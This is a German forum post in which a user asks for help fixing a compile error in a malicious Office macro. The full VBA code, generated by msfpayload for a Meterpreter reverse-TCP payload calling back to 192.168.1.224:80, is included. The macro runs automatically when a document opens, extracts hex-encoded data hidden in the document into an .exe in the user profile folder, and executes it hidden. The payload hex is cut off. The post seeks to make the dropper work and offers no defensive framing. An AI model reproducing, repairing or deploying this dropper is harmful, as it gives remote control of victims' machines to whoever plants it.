Hallo,
hab mich mal mit der Macro Geschichte etwas beschäftigt und komme nicht so recht weiter. Die example.bas bekomme ich erstellt und Importiert in Word oder Excel. Nun bekomme ich beim Öffnen der Worddatei (Autostart macro) jedes mal ein Fehler,
Fehler beim Kompilieren: benutzerdefinierter Typ nicht definiert!
Problem liegt dabei wohl in der Zeile "Dim Wcddi4 As Paragraph"
hat jemand ein Tipp dazu?
anbei noch der komplette VBA Code (Inklusive gekürzter Liste für den Anhang Dokument:
Code:
'Created by msfpayload
'Payload: windows/meterpreter/reverse_tcp
' Length: 290
'Options: LHOST=192.168.1.224,LPORT=80
'**************************************************************
'*
'* This code is now split into two pieces:
'* 1. The Macro. This must be copied into the Office document
'* macro editor. This macro will run on startup.
'*
'* 2. The Data. The hex dump at the end of this output must be
'* appended to the end of the document contents.
'*
'**************************************************************
'*
'* MACRO CODE
'*
'**************************************************************
Sub Auto_Open()
Wcddi12
End Sub
Sub Wcddi12()
Dim Wcddi7 As Integer
Dim Wcddi1 As String
Dim Wcddi2 As String
Dim Wcddi3 As Integer
Dim Wcddi4 As Paragraph
Dim Wcddi8 As Integer
Dim Wcddi9 As Boolean
Dim Wcddi5 As Integer
Dim Wcddi11 As String
Dim Wcddi6 As Byte
Dim Tjupuewrfe as String
Tjupuewrfe = "Tjupuewrfe"
Wcddi1 = "fkijvwSWLhnJeVj.exe"
Wcddi2 = Environ("USERPROFILE")
ChDrive (Wcddi2)
ChDir (Wcddi2)
Wcddi3 = FreeFile()
Open Wcddi1 For Binary As Wcddi3
For Each Wcddi4 in ActiveDocument.Paragraphs
DoEvents
Wcddi11 = Wcddi4.Range.Text
If (Wcddi9 = True) Then
Wcddi8 = 1
While (Wcddi8 < Len(Wcddi11))
Wcddi6 = Mid(Wcddi11,Wcddi8,4)
Put #Wcddi3, , Wcddi6
Wcddi8 = Wcddi8 + 4
Wend
ElseIf (InStr(1,Wcddi11,Tjupuewrfe) > 0 And Len(Wcddi11) > 0) Then
Wcddi9 = True
End If
Next
Close #Wcddi3
Wcddi13(Wcddi1)
End Sub
Sub Wcddi13(Wcddi10 As String)
Dim Wcddi7 As Integer
Dim Wcddi2 As String
Wcddi2 = Environ("USERPROFILE")
ChDrive (Wcddi2)
ChDir (Wcddi2)
Wcddi7 = Shell(Wcddi10, vbHide)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
'**************************************************************
'*
'* PAYLOAD DATA
'*
'**************************************************************
Tjupuewrfe
&H4D&H5A&H90&H00&H03&H00&H00&H00&H04&H00&H00&H00&HFF&HFF&H00&H00&HB8&H00&H00&H00&H00&H00&H00&H00&H40&H00&H00&H00&H00&H00&H################ Rest gelöscht
gr. SHI